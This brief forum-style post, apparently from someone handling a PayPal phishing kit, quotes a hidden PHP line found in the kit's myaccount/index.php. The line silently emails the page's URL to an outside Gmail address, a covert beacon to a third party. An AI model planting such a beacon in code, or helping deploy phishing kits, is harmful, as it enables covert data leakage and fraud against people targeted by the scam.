found some log here .... on myaccount>index.php hehehehe
<?php $actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; @mail("spy.fbi10@gmail.com", "Scama PayPal uploaded",$actual_link);?>